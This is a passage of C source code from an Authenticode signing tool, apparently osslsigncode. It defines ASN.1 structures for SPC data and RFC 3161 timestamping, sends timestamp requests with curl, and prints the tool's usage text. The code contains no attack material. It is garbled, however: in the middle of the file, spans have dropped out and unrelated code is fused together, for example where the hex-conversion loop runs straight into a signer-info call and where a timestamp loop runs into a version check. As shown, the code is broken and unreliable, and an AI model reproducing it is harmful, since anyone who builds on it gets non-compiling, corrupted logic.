ASN1_CHOICE_END(SpcString)\n\nIMPLEMENT_ASN1_FUNCTIONS(SpcString)\n\n\ntypedef struct {\n\tASN1_OCTET_STRING *classId;\n\tASN1_OCTET_STRING *serializedData;\n} SpcSerializedObject;\n\nDECLARE_ASN1_FUNCTIONS(SpcSerializedObject)\n\nASN1_SEQUENCE(SpcSerializedObject) = {\n\tASN1_SIMPLE(SpcSerializedObject, classId, ASN1_OCTET_STRING),\n\tASN1_SIMPLE(SpcSerializedObject, serializedData, ASN1_OCTET_STRING)\n} ASN1_SEQUENCE_END(SpcSerializedObject)\n\nIMPLEMENT_ASN1_FUNCTIONS(SpcSerializedObject)\n\n\ntypedef struct {\n\tint type;\n\tunion {\n\t\tASN1_IA5STRING *url;\n\t\tSpcSerializedObject *moniker;\n\t\tSpcString *file;\n\t} value;\n} SpcLink;\n\nDECLARE_ASN1_FUNCTIONS(SpcLink)\n\nASN1_CHOICE(SpcLink) = {\n\tASN1_IMP_OPT(SpcLink, value.url,\t ASN1_IA5STRING,\t 0),\n\tASN1_IMP_OPT(SpcLink, value.moniker, SpcSerializedObject, 1),\n\tASN1_EXP_OPT(SpcLink, value.file,\t SpcString,\t\t\t 2)\n} ASN1_CHOICE_END(SpcLink)\n\nIMPLEMENT_ASN1_FUNCTIONS(SpcLink)\n\n\ntypedef struct {\n\tSpcString *programName;\n\tSpcLink\t *moreInfo;\n} SpcSpOpusInfo;\n\nDECLARE_ASN1_FUNCTIONS(SpcSpOpusInfo)\n\nASN1_SEQUENCE(SpcSpOpusInfo) = {\n\tASN1_EXP_OPT(SpcSpOpusInfo, programName, SpcString, 0),\n\tASN1_EXP_OPT(SpcSpOpusInfo, moreInfo, SpcLink, 1)\n} ASN1_SEQUENCE_END(SpcSpOpusInfo)\n\nIMPLEMENT_ASN1_FUNCTIONS(SpcSpOpusInfo)\n\n\ntypedef struct {\n\tASN1_OBJECT *type;\n\tASN1_TYPE *value;\n} SpcAttributeTypeAndOptionalValue;\n\nDECLARE_ASN1_FUNCTIONS(SpcAttributeTypeAndOptionalValue)\n\nASN1_SEQUENCE(SpcAttributeTypeAndOptionalValue) = {\n\tASN1_SIMPLE(SpcAttributeTypeAndOptionalValue, type, ASN1_OBJECT),\n\tASN1_OPT(SpcAttributeTypeAndOptionalValue, value, ASN1_ANY)\n} ASN1_SEQUENCE_END(SpcAttributeTypeAndOptionalValue)\n\nIMPLEMENT_ASN1_FUNCTIONS(SpcAttributeTypeAndOptionalValue)\n\n\ntypedef struct {\n\tASN1_OBJECT *algorithm;\n\tASN1_TYPE *parameters;\n} AlgorithmIdentifier;\n\nDECLARE_ASN1_FUNCTIONS(AlgorithmIdentifier)\n\nASN1_SEQUENCE(AlgorithmIdentifier) = {\n\tASN1_SIMPLE(AlgorithmIdentifier, algorithm, ASN1_OBJECT),\n\tASN1_OPT(AlgorithmIdentifier, parameters, ASN1_ANY)\n} ASN1_SEQUENCE_END(AlgorithmIdentifier)\n\nIMPLEMENT_ASN1_FUNCTIONS(AlgorithmIdentifier)\n\n\ntypedef struct {\n\tAlgorithmIdentifier *digestAlgorithm;\n\tASN1_OCTET_STRING *digest;\n} DigestInfo;\n\nDECLARE_ASN1_FUNCTIONS(DigestInfo)\n\nASN1_SEQUENCE(DigestInfo) = {\n\tASN1_SIMPLE(DigestInfo, digestAlgorithm, AlgorithmIdentifier),\n\tASN1_SIMPLE(DigestInfo, digest, ASN1_OCTET_STRING)\n} ASN1_SEQUENCE_END(DigestInfo)\n\nIMPLEMENT_ASN1_FUNCTIONS(DigestInfo)\n\n\ntypedef struct {\n\tSpcAttributeTypeAndOptionalValue *data;\n\tDigestInfo *messageDigest;\n} SpcIndirectDataContent;\n\nDECLARE_ASN1_FUNCTIONS(SpcIndirectDataContent)\n\nASN1_SEQUENCE(SpcIndirectDataContent) = {\n\tASN1_SIMPLE(SpcIndirectDataContent, data, SpcAttributeTypeAndOptionalValue),\n\tASN1_SIMPLE(SpcIndirectDataContent, messageDigest, DigestInfo)\n} ASN1_SEQUENCE_END(SpcIndirectDataContent)\n\nIMPLEMENT_ASN1_FUNCTIONS(SpcIndirectDataContent)\n\n\ntypedef struct {\n\tASN1_BIT_STRING* flags;\n\tSpcLink *file;\n} SpcPeImageData;\n\nDECLARE_ASN1_FUNCTIONS(SpcPeImageData)\n\nASN1_SEQUENCE(SpcPeImageData) = {\n\tASN1_SIMPLE(SpcPeImageData, flags, ASN1_BIT_STRING),\n\tASN1_EXP_OPT(SpcPeImageData, file, SpcLink, 0)\n} ASN1_SEQUENCE_END(SpcPeImageData)\n\nIMPLEMENT_ASN1_FUNCTIONS(SpcPeImageData)\n\n\ntypedef struct {\n\tASN1_INTEGER *a;\n\tASN1_OCTET_STRING *string;\n\tASN1_INTEGER *b;\n\tASN1_INTEGER *c;\n\tASN1_INTEGER *d;\n\tASN1_INTEGER *e;\n\tASN1_INTEGER *f;\n} SpcSipInfo;\n\nDECLARE_ASN1_FUNCTIONS(SpcSipInfo)\n\nASN1_SEQUENCE(SpcSipInfo) = {\n\tASN1_SIMPLE(SpcSipInfo, a, ASN1_INTEGER),\n\tASN1_SIMPLE(SpcSipInfo, string, ASN1_OCTET_STRING),\n\tASN1_SIMPLE(SpcSipInfo, b, ASN1_INTEGER),\n\tASN1_SIMPLE(SpcSipInfo, c, ASN1_INTEGER),\n\tASN1_SIMPLE(SpcSipInfo, d, ASN1_INTEGER),\n\tASN1_SIMPLE(SpcSipInfo, e, ASN1_INTEGER),\n\tASN1_SIMPLE(SpcSipInfo, f, ASN1_INTEGER),\n} ASN1_SEQUENCE_END(SpcSipInfo)\n\nIMPLEMENT_ASN1_FUNCTIONS(SpcSipInfo)\n\n\n#ifdef ENABLE_CURL\n\ntypedef struct {\n\tASN1_OBJECT *type;\n\tASN1_OCTET_STRING *signature;\n} TimeStampRequestBlob;\n\nDECLARE_ASN1_FUNCTIONS(TimeStampRequestBlob)\n\nASN1_SEQUENCE(TimeStampRequestBlob) = {\n\tASN1_SIMPLE(TimeStampRequestBlob, type, ASN1_OBJECT),\n\tASN1_EXP_OPT(TimeStampRequestBlob, signature, ASN1_OCTET_STRING, 0)\n} ASN1_SEQUENCE_END(TimeStampRequestBlob)\n\nIMPLEMENT_ASN1_FUNCTIONS(TimeStampRequestBlob)\n\n\n\ntypedef struct {\n\tASN1_OBJECT *type;\n\tTimeStampRequestBlob *blob;\n} TimeStampRequest;\n\nDECLARE_ASN1_FUNCTIONS(TimeStampRequest)\n\nASN1_SEQUENCE(TimeStampRequest) = {\n\tASN1_SIMPLE(TimeStampRequest, type, ASN1_OBJECT),\n\tASN1_SIMPLE(TimeStampRequest, blob, TimeStampRequestBlob)\n} ASN1_SEQUENCE_END(TimeStampRequest)\n\nIMPLEMENT_ASN1_FUNCTIONS(TimeStampRequest)\n\n\n/* RFC3161 Time stamping */\n\ntypedef struct {\n\tASN1_INTEGER *status;\n\tSTACK_OF(ASN1_UTF8STRING) *statusString;\n\tASN1_BIT_STRING *failInfo;\n} PKIStatusInfo;\n\nDECLARE_ASN1_FUNCTIONS(PKIStatusInfo)\n\nASN1_SEQUENCE(PKIStatusInfo) = {\n\tASN1_SIMPLE(PKIStatusInfo, status, ASN1_INTEGER),\n\tASN1_SEQUENCE_OF_OPT(PKIStatusInfo, statusString, ASN1_UTF8STRING),\n\tASN1_OPT(PKIStatusInfo, failInfo, ASN1_BIT_STRING)\n} ASN1_SEQUENCE_END(PKIStatusInfo)\n\nIMPLEMENT_ASN1_FUNCTIONS(PKIStatusInfo)\n\n\ntypedef struct {\n\tPKIStatusInfo *status;\n\tPKCS7 *token;\n} TimeStampResp;\n\nDECLARE_ASN1_FUNCTIONS(TimeStampResp)\n\nASN1_SEQUENCE(TimeStampResp) = {\n\tASN1_SIMPLE(TimeStampResp, status, PKIStatusInfo),\n\tASN1_OPT(TimeStampResp, token, PKCS7)\n} ASN1_SEQUENCE_END(TimeStampResp)\n\nIMPLEMENT_ASN1_FUNCTIONS(TimeStampResp)\n\ntypedef struct {\n\tAlgorithmIdentifier *digestAlgorithm;\n\tASN1_OCTET_STRING *digest;\n} MessageImprint;\n\nDECLARE_ASN1_FUNCTIONS(MessageImprint)\n\nASN1_SEQUENCE(MessageImprint) = {\n\tASN1_SIMPLE(MessageImprint, digestAlgorithm, AlgorithmIdentifier),\n\tASN1_SIMPLE(MessageImprint, digest, ASN1_OCTET_STRING)\n} ASN1_SEQUENCE_END(MessageImprint)\n\nIMPLEMENT_ASN1_FUNCTIONS(MessageImprint)\n\ntypedef struct {\n\tASN1_INTEGER *version;\n\tMessageImprint *messageImprint;\n\tASN1_OBJECT *reqPolicy;\n\tASN1_INTEGER *nonce;\n\tASN1_BOOLEAN *certReq;\n\tSTACK_OF(X509_EXTENSION) *extensions;\n} TimeStampReq;\n\nDECLARE_ASN1_FUNCTIONS(TimeStampReq)\n\nASN1_SEQUENCE(TimeStampReq) = {\n\tASN1_SIMPLE(TimeStampReq, version, ASN1_INTEGER),\n\tASN1_SIMPLE(TimeStampReq, messageImprint, MessageImprint),\n\tASN1_OPT (TimeStampReq, reqPolicy, ASN1_OBJECT),\n\tASN1_OPT (TimeStampReq, nonce, ASN1_INTEGER),\n\tASN1_SIMPLE(TimeStampReq, certReq, ASN1_BOOLEAN),\n\tASN1_IMP_SEQUENCE_OF_OPT(TimeStampReq, extensions, X509_EXTENSION, 0)\n} ASN1_SEQUENCE_END(TimeStampReq)\n\nIMPLEMENT_ASN1_FUNCTIONS(TimeStampReq)\n\n#endif /* ENABLE_CURL */\n\n\nstatic SpcSpOpusInfo* createOpus(const char *desc, const char *url)\n{\n\tSpcSpOpusInfo *info = SpcSpOpusInfo_new();\n\n\tif (desc) {\n\t\tinfo->programName = SpcString_new();\n\t\tinfo->programName->type = 1;\n\t\tinfo->programName->value.ascii = M_ASN1_IA5STRING_new();\n\t\tASN1_STRING_set((ASN1_STRING *)info->programName->value.ascii,\n\t\t\t\t\t\t(const unsigned char*)desc, strlen(desc));\n\t}\n\n\tif (url) {\n\t\tinfo->moreInfo = SpcLink_new();\n\t\tinfo->moreInfo->type = 0;\n\t\tinfo->moreInfo->value.url = M_ASN1_IA5STRING_new();\n\t\tASN1_STRING_set((ASN1_STRING *)info->moreInfo->value.url,\n\t\t\t\t\t\t(const unsigned char*)url, strlen(url));\n\t}\n\n\treturn info;\n}\n\nstatic unsigned int asn1_simple_hdr_len(const unsigned char *p, unsigned int len) {\n\tif (len <= 2 || p[0] > 0x31)\n\t\treturn 0;\n\treturn (p[1]&0x80) ? (2 + (p[1]&0x7f)) : 2;\n}\n\nstatic void tohex(const unsigned char *v, unsigned char *b, int len)\n{\n\tint i;\n\tfor(i=0; id.sign->signer_info, 0);\n\n\tp = OPENSSL_malloc(len);\n\tmemset(p, 0, len);\n\tmemcpy(p, prefix, sizeof(prefix));\n\tmemcpy(p+len-sizeof(postfix), postfix, sizeof(postfix));\n\n\tASN1_STRING *astr = ASN1_STRING_new();\n\tASN1_STRING_set(astr, p, len);\n\n\tint nid = OBJ_create(\"1.3.6.1.4.1.42921.1.2.1\",\n\t\t\t\t\t\t \"unauthenticatedData\",\n\t\t\t\t\t\t \"unauthenticatedData\");\n\n\tPKCS7_add_attribute (si, nid, V_ASN1_SEQUENCE, astr);\n\n\tOPENSSL_free(p);\n\n\treturn 0;\n}\n\n\nstatic int g_verbose = 0;\n\n#ifdef ENABLE_CURL\n\nstatic int blob_has_nl = 0;\nstatic size_t curl_write( void *ptr, size_t sz, size_t nmemb, void *stream)\n{\n\tif (sz*nmemb > 0 && !blob_has_nl) {\n\t\tif (memchr(ptr, '\\n', sz*nmemb))\n\t\t\tblob_has_nl = 1;\n\t}\n\treturn BIO_write((BIO*)stream, ptr, sz*nmemb);\n}\n\nstatic void print_timestamp_error(const char *url, long http_code)\n{\n if (http_code != -1) {\n fprintf(stderr, \"Failed to convert timestamp reply from %s; \"\n \"HTTP status %ld\\n\", url, http_code);\n } else {\n fprintf(stderr, \"Failed to convert timestamp reply from %s; \"\n \"no HTTP status available\", url);\n }\n\n ERR_print_errors_fp(stderr);\n}\n\n/*\n A timestamp request looks like this:\n\n POST HTTP/1.1\n Content-Type: application/octet-stream\n Content-Length: ...\n Accept: application/octet-stream\n User-Agent: Transport\n Host: ...\n Cache-Control: no-cache\n\n \n\n\n .. and the blob has the following ASN1 structure:\n\n 0:d=0\t hl=4 l= 291 cons: SEQUENCE\n 4:d=1\t hl=2 l= 10 prim:\tOBJECT\t\t\t :1.3.6.1.4.1.311.3.2.1\n 16:d=1 hl=4 l= 275 cons:\t SEQUENCE\n 20:d=2 hl=2 l=\t9 prim:\t OBJECT\t\t\t:pkcs7-data\n 31:d=2 hl=4 l= 260 cons:\t cont [ 0 ]\n 35:d=3 hl=4 l= 256 prim:\t OCTET STRING\n \n\n\n\n .. and it returns a base64 encoded PKCS#7 structure.\n\n*/\n\nstatic int add_timestamp(PKCS7 *sig, char *url, char *proxy, int rfc3161, const EVP_MD *md, int verbose, int noverifypeer)\n{\n\tCURL *curl;\n\tstruct curl_slist *slist = NULL;\n\tCURLcode c;\n\tBIO *bout, *bin, *b64;\n\tu_char *p = NULL;\n\tint len = 0;\n\tPKCS7_SIGNER_INFO *si =\n\t\tsk_PKCS7_SIGNER_INFO_value\n\t\t(sig->d.sign->signer_info, 0);\n\n\tif (!url) return -1;\n\n\tcurl = curl_easy_init();\n\n\tif (proxy) {\n\t\tcurl_easy_setopt(curl, CURLOPT_PROXY, proxy);\n\t\tif (!strncmp(\"http:\", proxy, 5))\n\t\t\tcurl_easy_setopt(curl, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);\n\t\tif (!strncmp(\"socks:\", proxy, 6))\n\t\t\tcurl_easy_setopt(curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);\n\t}\n\n\tcurl_easy_setopt(curl, CURLOPT_URL, url);\n/*\t curl_easy_setopt(curl, CURLOPT_VERBOSE, 42);\t*/\n\n\tif (noverifypeer)\n\t\tcurl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, FALSE);\n\n\tif (rfc3161) {\n\t\tslist = curl_slist_append(slist, \"Content-Type: application/timestamp-query\");\n\t\tslist = curl_slist_append(slist, \"Accept: application/timestamp-reply\");\n\t} else {\n\t\tslist = curl_slist_append(slist, \"Content-Type: application/octet-stream\");\n\t\tslist = curl_slist_append(slist, \"Accept: application/octet-stream\");\n\t}\n\tslist = curl_slist_append(slist, \"User-Agent: Transport\");\n\tslist = curl_slist_append(slist, \"Cache-Control: no-cache\");\n\tcurl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist);\n\n\tif (rfc3161) {\n\t\tunsigned char mdbuf[EVP_MAX_MD_SIZE];\n\t\tEVP_MD_CTX mdctx;\n\n\t\tEVP_MD_CTX_init(&mdctx);\n\t\tEVP_DigestInit(&mdctx, md);\n\t\tEVP_DigestUpdate(&mdctx, si->enc_digest->data, si->enc_digest->length);\n\t\tEVP_DigestFinal(&mdctx, mdbuf, NULL);\n\n\t\tTimeStampReq *req = TimeStampReq_new();\n\t\tASN1_INTEGER_set(req->version, 1);\n\t\treq->messageImprint->digestAlgorithm->algorithm = OBJ_nid2obj(EVP_MD_nid(md));\n\t\treq->messageImprint->digestAlgorithm->parameters = ASN1_TYPE_new();\n\t\treq->messageImprint->digestAlgorithm->parameters->type = V_ASN1_NULL;\n\t\tM_ASN1_OCTET_STRING_set(req->messageImprint->digest, mdbuf, EVP_MD_size(md));\n\t\treq->certReq = (void*)0x1;\n\n\t\tlen = i2d_TimeStampReq(req, NULL);\n\t\tp = OPENSSL_malloc(len);\n\t\tlen = i2d_TimeStampReq(req, &p);\n\t\tp -= len;\n\n\t\tTimeStampReq_free(req);\n\t} else {\n\t\tTimeStampRequest *req = TimeStampRequest_new();\n\t\treq->type = OBJ_txt2obj(SPC_TIME_STAMP_REQUEST_OBJID, 1);\n\t\treq->blob->type = OBJ_nid2obj(NID_pkcs7_data);\n\t\treq->blob->signature = si->enc_digest;\n\n\t\tlen = i2d_TimeStampRequest(req, NULL);\n\t\tp = OPENSSL_malloc(len);\n\t\tlen = i2d_TimeStampRequest(req, &p);\n\t\tp -= len;\n\n\t\treq->blob->signature = NULL;\n\t\tTimeStampRequest_free(req);\n\t}\n\n\tbout = BIO_new(BIO_s_mem());\n\tif (!rfc3161) {\n\t\tb64 = BIO_new(BIO_f_base64());\n\t\tbout = BIO_push(b64, bout);\n\t}\n\tBIO_write(bout, p, len);\n\t(void)BIO_flush(bout);\n\tOPENSSL_free(p);\n\tp = NULL;\n\n\tlen = BIO_get_mem_data(bout, &p);\n\n\tcurl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, len);\n\tcurl_easy_setopt(curl, CURLOPT_POSTFIELDS, (char*)p);\n\n\tbin = BIO_new(BIO_s_mem());\n\tBIO_set_mem_eof_return(bin, 0);\n\tcurl_easy_setopt(curl, CURLOPT_POST, 1);\n\tcurl_easy_setopt(curl, CURLOPT_WRITEDATA, bin);\n\tcurl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_write);\n\n\tc = curl_easy_perform(curl);\n\n\tcurl_slist_free_all(slist);\n\tBIO_free_all(bout);\n\n\tif (c) {\n\t\tBIO_free_all(bin);\n\t\tif (verbose)\n\t\t\tfprintf(stderr, \"CURL failure: %s\\n\", curl_easy_strerror(c));\n\t} else {\n\t\t(void)BIO_flush(bin);\n\n\t\tlong http_code = -1;\n\t\tcurl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);\n\n\t\t/*\n\t\t * At this point we could also look at the response body (and perhaps\n\t\t * log it if we fail to decode the response):\n\t\t *\n\t\t * char *resp_body = NULL;\n\t\t * long resp_body_len = BIO_get_mem_data(bin, &resp_body);\n\t\t */\n\n\t\tif (rfc3161) {\n\t\t\tTimeStampResp *reply;\n\t\t\t(void)BIO_flush(bin);\n\t\t\treply = ASN1_item_d2i_bio(ASN1_ITEM_rptr(TimeStampResp), bin, NULL);\n\t\t\tBIO_free_all(bin);\n\t\t\tif (!reply) {\n\t\t\t\tif (verbose)\n\t\t\t\t\tprint_timestamp_error(url, http_code);\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tif (ASN1_INTEGER_get(reply->status->status) != 0) {\n\t\t\t\tif (verbose)\n\t\t\t\t\tfprintf(stderr, \"Timestamping failed: %ld\\n\", ASN1_INTEGER_get(reply->status->status));\n\t\t\t\tTimeStampResp_free(reply);\n\t\t\t\treturn -1;\n\t\t\t}\n\n\t\t\tif (((len = i2d_PKCS7(reply->token, NULL)) <= 0) ||\n\t\t\t\t(p = OPENSSL_malloc(len)) == NULL) {\n\t\t\t\tif (verbose) {\n\t\t\t\t\tfprintf(stderr, \"Failed to convert pkcs7: %d\\n\", len);\n\t\t\t\t\tERR_print_errors_fp(stderr);\n\t\t\t\t}\n\t\t\t\tTimeStampResp_free(reply);\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tlen = i2d_PKCS7(reply->token, &p);\n\t\t\tp -= len;\n\t\t\tTimeStampResp_free(reply);\n\n\t\t\tSTACK_OF(X509_ATTRIBUTE) *attrs = sk_X509_ATTRIBUTE_new_null();\n\t\t\tattrs = X509at_add1_attr_by_txt\n\t\t\t\t(&attrs, SPC_RFC3161_OBJID, V_ASN1_SET, p, len);\n\t\t\tOPENSSL_free(p);\n\t\t\tPKCS7_set_attributes(si, attrs);\n\t\t\tsk_X509_ATTRIBUTE_pop_free(attrs, X509_ATTRIBUTE_free);\n\t\t} else {\n\t\t\tint i;\n\t\t\tPKCS7 *p7;\n\t\t\tPKCS7_SIGNER_INFO *info;\n\t\t\tASN1_STRING *astr;\n\t\t\tBIO* b64_bin;\n\t\t\tb64 = BIO_new(BIO_f_base64());\n\t\t\tif (!blob_has_nl)\n\t\t\t\tBIO_set_flags(b64, BIO_FLAGS_BASE64_NO_NL);\n\t\t\tb64_bin = BIO_push(b64, bin);\n\t\t\tp7 = d2i_PKCS7_bio(b64_bin, NULL);\n\t\t\tif (p7 == NULL) {\n\t\t\t\tBIO_free_all(b64_bin);\n\t\t\t\tif (verbose)\n\t\t\t\t\tprint_timestamp_error(url, http_code);\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tBIO_free_all(b64_bin);\n\n\t\t\tfor(i = sk_X509_num(p7->d.sign->cert)-1; i>=0; i--)\n\t\t\t\tPKCS7_add_certificate(sig, sk_X509_value(p7->d.sign->cert, i));\n\n\t\t\tinfo = sk_PKCS7_SIGNER_INFO_value(p7->d.sign->signer_info, 0);\n\t\t\tif (((len = i2d_PKCS7_SIGNER_INFO(info, NULL)) <= 0) ||\n\t\t\t\t(p = OPENSSL_malloc(len)) == NULL) {\n\t\t\t\tif (verbose) {\n\t\t\t\t\tfprintf(stderr, \"Failed to convert signer info: %d\\n\", len);\n\t\t\t\t\tERR_print_errors_fp(stderr);\n\t\t\t\t}\n\t\t\t\tPKCS7_free(p7);\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\tlen = i2d_PKCS7_SIGNER_INFO(info, &p);\n\t\t\tp -= len;\n\t\t\tastr = ASN1_STRING_new();\n\t\t\tASN1_STRING_set(astr, p, len);\n\t\t\tOPENSSL_free(p);\n\t\t\tPKCS7_add_attribute\n\t\t\t\t(si, NID_pkcs9_countersignature,\n\t\t\t\t V_ASN1_SEQUENCE, astr);\n\n\t\t\tPKCS7_free(p7);\n\t\t}\n\t}\n\n\tcurl_easy_cleanup(curl);\n\tcurl_global_cleanup();\n\n\treturn (int)c;\n}\n\nstatic int add_timestamp_authenticode(PKCS7 *sig, char **url, int nurls, char *proxy, int noverifypeer)\n{\n\tint i;\n\tfor (i=0; i 0x10000000\n\tERR_remove_thread_state(NULL);\n#endif\n ERR_free_strings();\n}\n\nstatic void usage(const char *argv0)\n{\n\tfprintf(stderr,\n\t\t\t\"Usage: %s\\n\\n\\t[ --version | -v ]\\n\\n\"\n\t\t\t\"\\t[ sign ]\\n\"\n\t\t\t\"\\t\\t( -certs -key | -pkcs12 |\\n\"\n\t\t\t\"\\t\\t -pkcs11engine -pkcs11module -certs -key )\\n\"\n\t\t\t\"\\t\\t[ -pass ] \"\n#ifdef PROVIDE_ASKPASS\n\t\t\t\"[ -askpass ]\"\n#endif\n\t\t\t\"[ -readpass ]\\n\"\n\t\t\t\"\\t\\t[ -ac ]\\n\"\n\t\t\t\"\\t\\t[ -h {md5,sha1,sha2(56),sha384,sha512} ]\\n\"\n\t\t\t\"\\t\\t[ -n ] [ -i ] [ -jp ] [ -comm ]\\n\"\n\t\t\t\"\\t\\t[ -ph ]\\n\"\n#ifdef ENABLE_CURL\n\t\t\t\"\\t\\t[ -t [ -t ... ] [ -p ] [ -noverifypeer ] ]\\n\"\n\t\t\t\"\\t\\t[ -ts [ -ts ... ] [ -p ] [ -noverifypeer ] ]\\n\"\n#endif\n\t\t\t\"\\t\\t[ -addUnauthenticatedBlob ]\\n\\n\"\n\t\t\t\"\\t\\t[ -nest ]\\n\\n\"\n\t\t\t\"\\t\\t[ -verbose ]\\n\\n\"\n\t\t\t\"\\t\\tMSI specific:\\n\"\n\t\t\t\"\\t\\t[ -add-msi-dse ]\\n\\n\"\n\t\t\t\"\\t\\t[ -in ] [-out ] \\n\\n\"\n\t\t\t\"\\textract-signature [ -pem ] [ -in ] [ -out ] \\n\\n\"\n\t\t\t\"\\tremove-signature [ -in ] [ -out ] \\n\\n\"\n\t\t\t\"\\tattach-signature [ -sigin ] [ -in ] [ -out ] \\n\\n\"\n\t\t\t\"\\tverify [ -in ] \\n\"\n\t\t\t\"\\t\\t[ -require-leaf-hash {md5,sha1,sha2(56),sha384,sha512}:XXXXXXXXXXXX... ]\\n\\n\"\n\t\t\t\"\\tadd [-addUnauthenticatedBlob] [ -in ] [ -out ] \\n\"\n#ifdef ENABLE_CURL\n\t\t\t\"\\t\\t[ -t [ -t ... ] [ -p ] [ -noverifypeer ] ]\\n\"\n\t\t\t\"\\t\\t[ -ts [ -ts ... ] [ -p ] [ -noverifypeer ] ]\\n\"\n#endif\n\t\t\t\"\\n\"\n\t\t\t\"\",\n\t\t\targv0);\n\tcleanup_lib_state();\n\texit(-1);\n}\n\n#define DO_EXIT_0(x)\t{ fputs(x, stderr); goto err_cleanup; }\n#define DO_EXIT_1(x, y) { fprintf(stderr, x, y); goto err_cleanup; }\n#define DO_EXIT_2(x, y, z) { fprintf(stderr, x, y, z); goto err_cleanup; }\n\n#define GET_UINT16_LE(p) (((u_char*)(p))[0] | (((u_char*)(p))[1]<<8))\n\n#define GET_UINT32_LE(p) (((u_char*)(p))[0] | (((u_char*)(p))[1]<<8) |\t\\\n\t\t\t\t\t\t (((u_char*)(p))[2]<<16) | (((u_char*)(p))[3]<<24))\n\n#define PUT_UINT16_LE(i,p)\t\t\t\t\t\t\\\n\t((u_char*)(p))[0] = (i) & 0xff;\t\t\t\t\\\n\t((u_char*)(p))[1] = ((i)>>8) & 0xff\n\n#define PUT_UINT32_LE(i,p)\t\t\t\t\t\t\\\n\t((u_char*)(p))[0] = (i) & 0xff;\t\t\t\t\\\n\t((u_char*)(p))[1] = ((i)>>8) & 0xff;\t\t\\\n\t((u_char*)(p))[2] = ((i)>>16) & 0xff;\t\t\\\n\t((u_char*)(p))[3] = ((i)>>24) & 0xff\n\n\ntypedef enum {\n\tFILE_TYPE_CAB,\n\tFILE_TYPE_PE,\n\tFILE_TYPE_MSI,\n} file_type_t;\n\ntypedef enum {\n\tCMD_SIGN,\n\tCMD_EXTRACT,\n\tCMD_REMOVE,\n\tCMD_VERIFY,\n\tCMD_ADD,\n\tCMD_ATTACH,\n} cmd_type_t;\n\n\nstatic SpcLink *get_obsolete_link(void)\n{\n\tstatic const unsigned char obsolete[] = {\n\t\t0x00, 0x3c, 0x00, 0x3c, 0x00, 0x3c, 0x00, 0x4f, 0x00, 0x62,\n\t\t0x00, 0x73, 0x00, 0x6f, 0x00, 0x6c, 0x00, 0x65, 0x00, 0x74,\n\t\t0x00, 0x65, 0x00, 0x3e, 0x00, 0x3e, 0x00, 0x3e\n\t};\n\tSpcLink *link = SpcLink_new();\n\tlink->type = 2;\n\tlink->value.file = SpcString_new();\n\tlink->value.file->type = 0;\n\tlink->value.file->value.unicode = ASN1_BMPSTRING_new();\n\tASN1_STRING_set(link->value.file->value.unicode, obsolete, sizeof(obsolete));\n\treturn link;\n}\n\nstatic const unsigned char classid_page_hash[] = {\n\t0xA6, 0xB5, 0x86, 0xD5, 0xB4, 0xA1, 0x24, 0x66,\n\t0xAE, 0x05, 0xA2, 0x17, 0xDA, 0x8E, 0x60, 0xD6\n};\n\nstatic unsigned char *calc_page_hash(char *indata, unsigned int peheader, int pe32plus,\n\t\t\t\t\t\t\t\t\t unsigned int sigpos, int phtype, unsigned int *phlen);\n\nDECLARE_STACK_OF(ASN1_OCTET_STRING)\n#ifndef sk_ASN1_OCTET_STRING_new_null\n#define sk_ASN1_OCTET_STRING_new_null() SKM_sk_new_null(ASN1_OCTET_STRING)\n#define sk_ASN1_OCTET_STRING_free(st) SKM_sk_free(ASN1_OCTET_STRING, (st))\n#define sk_ASN1_OCTET_STRING_push(st, val) SKM_sk_push(ASN1_OCTET_STRING, (st), (val))\n#define i2d_ASN1_SET_OF_ASN1_OCTET_STRING(st, pp, i2d_func, ex_tag, ex_class, is_set) \\\n\tSKM_ASN1_SET_OF_i2d(ASN1_OCTET_STRING, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set))\n#endif\n\nDECLARE_STACK_OF(SpcAttributeTypeAndOptionalValue)\n#ifndef sk_SpcAttributeTypeAndOptionalValue_new_null\n#define sk_SpcAttributeTypeAndOptionalValue_new_null() SKM_sk_new_null(SpcAttributeTypeAndOptionalValue)\n#define sk_SpcAttributeTypeAndOptionalValue_free(st) SKM_sk_free(SpcAttributeTypeAndOptionalValue, (st))\n#define sk_SpcAttributeTypeAndOptionalValue_push(st, val) SKM_sk_push(SpcAttributeTypeAndOptionalValue, (st), (val))\n#define i2d_SpcAttributeTypeAndOptionalValue(st, pp, i2d_func, ex_tag, ex_class, is_set) \\\n\tSKM_ASN1_SET_OF_i2d(SpcAttributeTypeAndOptionalValue, (st), (pp), (i2d_func), (ex_tag), (ex_class), (is_set))\n#endif\n\nstatic SpcLink *get_page_hash_link(int phtype, char *indata, unsigned int peheader, int pe32plus, unsigned int sigpos)\n{\n\tunsigned int phlen;\n\tunsigned char *ph = calc_page_hash(indata, peheader, pe32plus, sigpos, phtype, &phlen);\n\tif (!ph) {\n\t\tfprintf(stderr, \"Failed to calculate page hash\\n\");\n\t\texit(-1);\n\t}\n\n\tASN1_OCTET_STRING *ostr = M_ASN1_OCTET_STRING_new();\n\tM_ASN1_OCTET_STRING_set(ostr, ph, phlen);\n\tfree(ph);\n\n\tSTACK_OF(ASN1_OCTET_STRING) *oset = sk_ASN1_OCTET_STRING_new_null();\n\tsk_ASN1_OCTET_STRING_push(oset, ostr);\n\tunsigned char *p, *tmp;\n\tunsigned int l;\n\tl = i2d_ASN1_SET_OF_ASN1_OCTET_STRING(oset, NULL, i2d_ASN1_OCTET_STRING,\n\t\t\t\t\t\t\t\t\t\t V_ASN1_SET, V_ASN1_UNIVERSAL, IS_SET);\n\ttmp = p = OPENSSL_malloc(l);\n\ti2d_ASN1_SET_OF_ASN1_OCTET_STRING(oset, &tmp, i2d_ASN1_OCTET_STRING,\n\t\t\t\t\t\t\t\t\t V_ASN1_SET, V_ASN1_UNIVERSAL, IS_SET);\n\tASN1_OCTET_STRING_free(ostr);\n\tsk_ASN1_OCTET_STRING_free(oset);\n\n\tSpcAttributeTypeAndOptionalValue *aval = SpcAttributeTypeAndOptionalValue_new();\n\taval->type = OBJ_txt2obj((phtype == 